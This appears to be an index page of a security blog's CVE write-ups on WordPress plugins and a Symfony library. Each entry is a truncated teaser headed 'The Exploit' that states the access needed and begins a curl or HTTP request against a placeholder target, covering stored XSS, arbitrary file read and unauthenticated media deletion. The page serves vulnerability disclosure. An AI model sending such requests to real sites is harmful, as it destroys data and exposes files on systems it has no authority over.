Articles

§06 · Field notes

CVE · PLUGINS · ZERO-DAYS
GitHub

CVE-2026-85235

## The Exploit An unauthenticated attacker can inject a stored XSS payload into a Rich-Text Textarea field; when a site administrator opens the submission in the Forminator Entries view and clicks a crafted link embedded in the stored data, the payload executes in the administra...

GitHub

CVE-2025-13935

## The Exploit Authenticated subscriber-level users can directly call Tutor LMS's course completion AJAX handler and mark any course complete. ```bash curl 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Content-Type: application/x-www-f...

Read article →
GitHub

CVE-2025-9318

## The Exploit Requires an authenticated Subscriber-level account or higher. ```bash curl -i -s -X POST 'https://TARGET_HOST/wp-json/qsm/v1/questions/123' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Cookie: wordpress_...

Read article →
GitHub

CVE-2025-14059

## The Exploit An authenticated attacker with Author-level privileges or higher can abuse `create_template` to read arbitrary files via the `emailkit-editor-template` REST parameter. ```bash curl -i -s -X POST 'https://<TARGET_HOST>/wp-js...

Read article →
GitHub

CVE-2025-9294

## The Exploit An authenticated user with Subscriber-level access or higher can delete QSM quiz results by POSTing a valid nonce and `result_id` to QSM’s AJAX delete endpoint. ```bash curl -i -X POST "https://example.com/wp-admin/admin-aj...

Read article →
GitHub

CVE-2025-13964

## The Exploit No authentication is required; an attacker only needs to control the CSS selector string passed into the affected `symfony/css-selector` parser. ```bash php -r 'require "vendor/autoload.php"; use Symfony\Component\CssSelect...

Read article →
GitHub

CVE-2025-9637

## The Exploit Attacker needs no authentication. ```bash curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \ -d 'action=qsm_get_quiz_to_reload&quiz_id=123' \ -H 'Content-Type: application/x-www-form-urlencoded' ``` The vulnera...

Read article →
GitHub

CVE-2025-14371

## The Exploit Authenticated attacker needs Contributor-level access or higher. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.example.com Content-Type: application/x-www-form-urlencoded Cookie: wordpress_logged_in_XXXXXXXXXX...

Read article →
GitHub

CVE-2025-13419

## The Exploit Unauthenticated attackers can delete any media attachment by POSTing the attachment ID to the exposed REST endpoint. ```bash curl -i -X POST "https://target.example.com/wp-json/bfe/v1/revert" \ -H "Content-Type: text/plai...

Read article →
GitHub

CVE-2025-13722

## The Exploit Attacker needs any authenticated WordPress account with Subscriber-level access or higher. ```bash curl -i -X POST "https://TARGET/wp-admin/admin-ajax.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "Co...

Read article →